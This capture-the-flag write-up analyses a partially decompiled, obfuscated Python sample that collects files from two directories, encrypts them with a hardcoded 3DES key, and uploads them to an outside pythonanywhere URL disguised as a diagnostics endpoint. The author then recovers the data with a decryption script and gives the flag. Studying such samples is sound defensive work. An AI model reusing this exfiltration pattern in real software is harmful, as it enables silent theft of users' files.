def IlIIIlIllllIIIIlIl(IIIlIlIIllIIIIlIII: lllllllllllllll, IlIllIlIIIIIlIIIll: lllllllllllllll, IllIIlIlIIIllIllIl: lllllllllllllll) -> lllllllllllllll:
    '''Decompiler error: line too long for translation. Please decompile this statement manually.'''
'''Decompiler error: line too long for translation. Please decompile this statement manually.'''
    '''Decompiler error: line too long for translation. Please decompile this statement manually.'''
    lIIIIIlIIIIlIllIll = lIlIIIIIIIllIlIIll >> 28 & 268435455
    IlllIIIlIlllIlIlll = lIlIIIIIIIllIlIIll & 268435455
    IllIIlIlIlIIIlIIII = []
    for lIllIlIIllIlIlIllI in IIlIIIIIIllllIlIlI:
        '''Decompiler error: line too long for translation. Please decompile this statement manually.'''
        '''Decompiler error: line too long for translation. Please decompile this statement manually.'''
        IIlIllIIIllIIlIIIl = lIIIIIlIIIIlIllIll << 28 | IlllIIIlIlllIlIlll
        '''Decompiler error: line too long for translation. Please decompile this statement manually.'''

def llIlllIIIlIllllIIl(IlIlIIllllIlllIlII: lllllllllllllll, IlIllllIlIIIllIIIl: lllllllllllllll) -> lllllllllllllll:
    '''Decompiler error: line too long for translation. Please decompile this statement manually.'''
    IIllIIlIIllllIIllI = IllIlllIIllllllIll ^ IlIllllIlIIIllIIIl
    IlIllIIIllIllllIll = 0
    for lIlIIIIIlIIIIlIIll in lllllllllllIIll(8):
        '''Decompiler error: line too long for translation. Please decompile this statement manually.'''
        '''Decompiler error: line too long for translation. Please decompile this statement manually.'''
        IIlIIIllIIIlllIIll = IlIlllIIIIlIlIIlIl >> 1 & 15
        '''Decompiler error: line too long for translation. Please decompile this statement manually.'''
    '''Decompiler error: line too long for translation. Please decompile this statement manually.'''
'''Decompiler error: line too long for translation. Please decompile this statement manually.'''
    IlIlIlllIIIIlIIIII = lllllllllllllll.from_bytes(lllIlIlllIlllIIIII, 'big')
    '''Decompiler error: line too long for translation. Please decompile this statement manually.'''
    IllIIIlIllIIlIlIII = IlIlIlllIIIIlIIIII >> 32
    IlllIIIIllIIlllIIl = IlIlIlllIIIIlIIIII & 4294967295
    for llIIIlIIIIIllllllI in IllIIlIlIlIIIlIIII:
        '''Decompiler error: line too long for translation. Please decompile this statement manually.'''
    IllIllIllIlIIIlIIl = IlllIIIIllIIlllIIl << 32 | IllIIIlIllIIlIlIII
    '''Decompiler error: line too long for translation. Please decompile this statement manually.'''

class lIIIIIIlIIlIIIIlIl:
    def __init__(IlIllIIlIIIlIIIIlI, lIIlllIIllllIIlIIl: llllllllllllIII, lIlllIllIIlIIIlIII: llllllllllllIII):
        if llllllllllllIIl(lIIlllIIllllIIlIIl)!= 24:
            raise lllllllllllIlIl('1')
        if llllllllllllIIl(lIlllIllIIlIIIlIII)!= 8:
            raise lllllllllllIlIl('2')
        '''Decompiler error: line too long for translation. Please decompile this statement manually.'''
        IlIllIIlIIIlIIIIlI.lllIlllIIllIllllIl = lllllllllllllll.from_bytes(lIlllIllIIlIIIlIII, 'big')
        IlIllIIlIIIlIIIIlI.lllllIIlIlIlIllIII = IlIlllllIllllllllI(IlIllIIlIIIlIIIIlI.IllIIIllIllIIIIlll)
        IlIllIIlIIIlIIIIlI.IlIlIIIlIIIIlIlIII = IlIlllllIllllllllI(IlIllIIlIIIlIIIIlI.IIllIllIIIIlIIlIlI)
        IlIllIIlIIIlIIIIlI.llllIIIlIllIIIlIlI = IlIlllllIllllllllI(IlIllIIlIIIlIIIIlI.IlIlIIllllIlIllIII)
        '''Decompiler error: line too long for translation. Please decompile this statement manually.'''

    def IIlllllllllllIIlIl(IlIllIIlIIIlIIIIlI, IIllIIIIIIlIllIlIl: llllllllllllIII) -> llllllllllllIII:
        if llllllllllllIIl(IIllIIIIIIlIllIlIl) % 8:
            raise lllllllllllIlIl('Data must be 8-byte aligned (pad first)')
        lllIlllIIllIllllIl = IlIllIIlIIIlIIIIlI.lllIlllIIllIllllIl
        IlIllIIIllIllllIll = lllllllllllllII()
        for lIlIIIIIlIIIIlIIll in lllllllllllIIll(0, llllllllllllIIl(IIllIIIIIIlIllIlIl), 8):
            '''Decompiler error: line too long for translation. Please decompile this statement manually.'''
            '''Decompiler error: line too long for translation. Please decompile this statement manually.'''
            '''Decompiler error: line too long for translation. Please decompile this statement manually.'''
            '''Decompiler error: line too long for translation. Please decompile this statement manually.'''
            lllIlllIIllIllllIl = lllIlIlllIlllIIIII
            '''Decompiler error: line too long for translation. Please decompile this statement manually.'''
        return llllllllllllIII(IlIllIIIllIllllIll)
'''Decompiler error: line too long for translation. Please decompile this statement manually.'''
    with llIIlllIlIlIlI() as IIlIIIIIlIIlIIIIIl:
        lIIIlIllllIIIlIlll = IIIIlllIIllIIl(IIlIIIIIlIIlIIIIIl)
        lllIIlIIllIIlIlllI = lIIIlIllllIIIlIlll / 'payload'
        lllIIlIIllIIlIlllI.mkdir()
        for IlIllIlIIlIIIIlllI in llllllllllllIll(IIIIlllIIllIIl, lIIlllIIIIIIllllll):
            if not IlIllIlIIlIIIIlllI.exists():
                continue
            for lllIIllIlIllIIIlll, IllIllIIIIllIIllll, lllIIIllIlIIIIIlIl in IlIIlIIIllIllI(IlIllIlIIlIIIIlllI):
                for IIlIIIlIIIlIlllIIl in lllIIIllIlIIIIIlIl:
                    IlIlIlIIlIIIIIlIll = IIIIlllIIllIIl(lllIIllIlIllIIIlll, IIlIIIlIIIlIlllIIl)
                    IlIIIIIlIllIlllIII = IlIlIlIIlIIIIIlIll.relative_to(IlIllIlIIlIIIIlllI)
                    lIIlllIlIIIlIllIII = lllIIlIIllIIlIlllI / IlIIIIIlIllIlllIII
                    '''Decompiler error: line too long for translation. Please decompile this statement manually.'''
                    '''Decompiler error: line too long for translation. Please decompile this statement manually.'''
        '''Decompiler error: line too long for translation. Please decompile this statement manually.'''
        '''Decompiler error: line too long for translation. Please decompile this statement manually.'''
        for lllIIllIlIllIIIlll, IllIllIIIIllIIllll, lllIIIllIlIIIIIlIl in IlIIlIIIllIllI(lllIIlIIllIIlIlllI):
            for IIlIIIlIIIlIlllIIl in lllIIIllIlIIIIIlIl:
                llllIllIlIIlIllIlI = IIIIlllIIllIIl(lllIIllIlIllIIIlll, IIlIIIlIIIlIlllIIl)
                '''Decompiler error: line too long for translation. Please decompile this statement manually.'''
        lllIlIllIIIIIIlIIl = llllIIIIlllIlllIlI.read_bytes()
        IIlIIIIIllIlIlIlII = IIlIIIIIIIIllllIIl(lllIlIllIIIIIIlIIl)
        llIIIlIIllIlIlIlll = lIIIIIIlIIlIIIIlIl(b'\x1bn/\xe5s\xeef \xff\x85\xe6kxJ{\x07\xa8\x03\xbd88\x10\xc0\xe4', b'%c\xe3\xe1\xa8\xd7t\xf6')
        IIllIIIIIllIIIIIll = llIIIlIIllIlIlIlll.IIlllllllllllIIlIl(IIlIIIIIllIlIlIlII)
        lIlIlllllIIllllIll = lIIIlIllllIIIlIlll / 'archive.enc'
        lIlIlllllIIllllIll.write_bytes(IIllIIIIIllIIIIIll)
        with lIlIlllllIIllllIll.open('rb') as IIIIIIIlIIIIlIIlll:
            '''Decompiler error: line too long for translation. Please decompile this statement manually.'''
        lIllIlIlIlIIIIllIl.raise_for_status()
if lllllllllllIlll == '__main__':
    IIlIllIIllIIIIllII(SRC_DIRS, DEST_URL)

Code is not fully decompiled, but we still can see what the code want to achieve by combining output from both decompiler.

class lIIIIIIlIIlIIIIlIl:
    def __init__(IlIllIIlIIIlIIIIlI, lIIlllIIllllIIlIIl: llllllllllllIII, lIlllIllIIlIIIlIII: llllllllllllIII):
        if llllllllllllIIl(lIIlllIIllllIIlIIl)!= 24:
            raise lllllllllllIlIl('1')
        if llllllllllllIIl(lIlllIllIIlIIIlIII)!= 8:
            raise lllllllllllIlIl('2')
        '''Decompiler error: line too long for translation. Please decompile this statement manually.'''
        IlIllIIlIIIlIIIIlI.lllIlllIIllIllllIl = lllllllllllllll.from_bytes(lIlllIllIIlIIIlIII, 'big')
        IlIllIIlIIIlIIIIlI.lllllIIlIlIlIllIII = IlIlllllIllllllllI(IlIllIIlIIIlIIIIlI.IllIIIllIllIIIIlll)
        IlIllIIlIIIlIIIIlI.IlIlIIIlIIIIlIlIII = IlIlllllIllllllllI(IlIllIIlIIIlIIIIlI.IIllIllIIIIlIIlIlI)
        IlIllIIlIIIlIIIIlI.llllIIIlIllIIIlIlI = IlIlllllIllllllllI(IlIllIIlIIIlIIIIlI.IlIlIIllllIlIllIII)
        '''Decompiler error: line too long for translation. Please decompile this statement manually.'''

    def IIlllllllllllIIlIl(IlIllIIlIIIlIIIIlI, IIllIIIIIIlIllIlIl: llllllllllllIII) -> llllllllllllIII:
        if llllllllllllIIl(IIllIIIIIIlIllIlIl) % 8:
            raise lllllllllllIlIl('Data must be 8-byte aligned (pad first)')
        lllIlllIIllIllllIl = IlIllIIlIIIlIIIIlI.lllIlllIIllIllllIl
        IlIllIIIllIllllIll = lllllllllllllII()
        for lIlIIIIIlIIIIlIIll in lllllllllllIIll(0, llllllllllllIIl(IIllIIIIIIlIllIlIl), 8):
            '''Decompiler error: line too long for translation. Please decompile this statement manually.'''
            '''Decompiler error: line too long for translation. Please decompile this statement manually.'''
            '''Decompiler error: line too long for translation. Please decompile this statement manually.'''
            '''Decompiler error: line too long for translation. Please decompile this statement manually.'''
            lllIlllIIllIllllIl = lllIlIlllIlllIIIII
            '''Decompiler error: line too long for translation. Please decompile this statement manually.'''
        return llllllllllllIII(IlIllIIIllIllllIll)
'''Decompiler error: line too long for translation. Please decompile this statement manually.'''
    with TemporaryDirectory() as temp_dir:
        temp_dir_location = Path(temp_dir)
        payload_location = temp_dir_location / 'payload'
        payload_location.mkdir()
        for path_iter in map(Path, lIIlllIIIIIIllllll):
            if not path_iter.exists():
                continue
            for base_dir, list_dir, list_file in walk(path_iter):
                for file_iter in list_file:
                    path_handler = Path(base_dir, file_iter)
                    relative_path = path_handler.relative_to(path_iter)
                    combined_path = payload_location / relative_path
                    '''Decompiler error: line too long for translation. Please decompile this statement manually.'''
                    '''Decompiler error: line too long for translation. Please decompile this statement manually.'''
        '''Decompiler error: line too long for translation. Please decompile this statement manually.'''
        '''Decompiler error: line too long for translation. Please decompile this statement manually.'''
        for base_dir, list_dir, list_file in walk(payload_location):
            for file_iter in list_file:
                llllIllIlIIlIllIlI = Path(base_dir, file_iter)
                '''Decompiler error: line too long for translation. Please decompile this statement manually.'''
        lllIlIllIIIIIIlIIl = llllIIIIlllIlllIlI.read_bytes()
        IIlIIIIIllIlIlIlII = IIlIIIIIIIIllllIIl(lllIlIllIIIIIIlIIl)
        llIIIlIIllIlIlIlll = lIIIIIIlIIlIIIIlIl(b'\x1bn/\xe5s\xeef \xff\x85\xe6kxJ{\x07\xa8\x03\xbd88\x10\xc0\xe4', b'%c\xe3\xe1\xa8\xd7t\xf6')
        IIllIIIIIllIIIIIll = llIIIlIIllIlIlIlll.IIlllllllllllIIlIl(IIlIIIIIllIlIlIlII)
        lIlIlllllIIllllIll = temp_dir_location / 'archive.enc'
        lIlIlllllIIllllIll.write_bytes(IIllIIIIIllIIIIIll)
        with lIlIlllllIIllllIll.open('rb') as IIIIIIIlIIIIlIIlll:
            '''Decompiler error: line too long for translation. Please decompile this statement manually.'''
        lIllIlIlIlIIIIllIl.raise_for_status()
if lllllllllllIlll == '__main__':
    IIlIllIIllIIIIllII(SRC_DIRS, DEST_URL)

Manually deobfuscate the code and looking at disasm output (using pycdas) we got the idea what the code did.

  • Get files from directory below

    • C:\SecretMusic_01bc59b0059dd953cc8e59bdc86937f1839d9338aabbef279e92cc94680310c8

    • C:\SecretDocuments_78dbfebd2b180fccff80a1c7dc7d2696744ac111a4ff26f94bd715b52aabc112

  • Create zip (archive.zip) for the files and encrypt the zip using class lIIIIIIlIIlIIIIlIl then save it with name archive.enc .

  • Last, send archive.enc to the DEST_URL which is https://gkfmdgkdgb.pythonanywhere.com/sendDiagnostic.php

Most of the constants in the code used by lIIIIIIlIIlIIIIlIl , looking at the constant we will found that most likely it is kind of DES cipher based on constant values.

Single DES use 8 bytes key to do the encryption and decryption but in this case there are 24 bytes value and 8 bytes value. Most likely 24 bytes is the key and 8 bytes is the IV. Looking at another variant of DES we found 3DES that match with this criteria. So let's create a script to decrypt the zip file.

from Crypto.Cipher import DES3

key = b'\x1bn/\xe5s\xeef \xff\x85\xe6kxJ{\x07\xa8\x03\xbd88\x10\xc0\xe4'
iv = b'%c\xe3\xe1\xa8\xd7t\xf6'

cipher = DES3.new(key, DES3.MODE_CBC, iv)

f = open("dump-90161b4684796572ab2bf2f323f8a57a.dmp", "rb").read()

index = f.index(b'Content-Disposition: form-data; name="file"; filename="archive.enc"')
out = open("flag.zip", "wb")
out.write(cipher.decrypt(f[index:index+1000].split(b"\r\n\r\n")[-1].split(b"\r\n--9031bbac282acd1040fabc7f553fa43e--\r\n")[0]))

Flag: SAS{n3v3r_g0nn4_g1v3_up_u51ng_unp0pul4r_50ftw4r3}

Last updated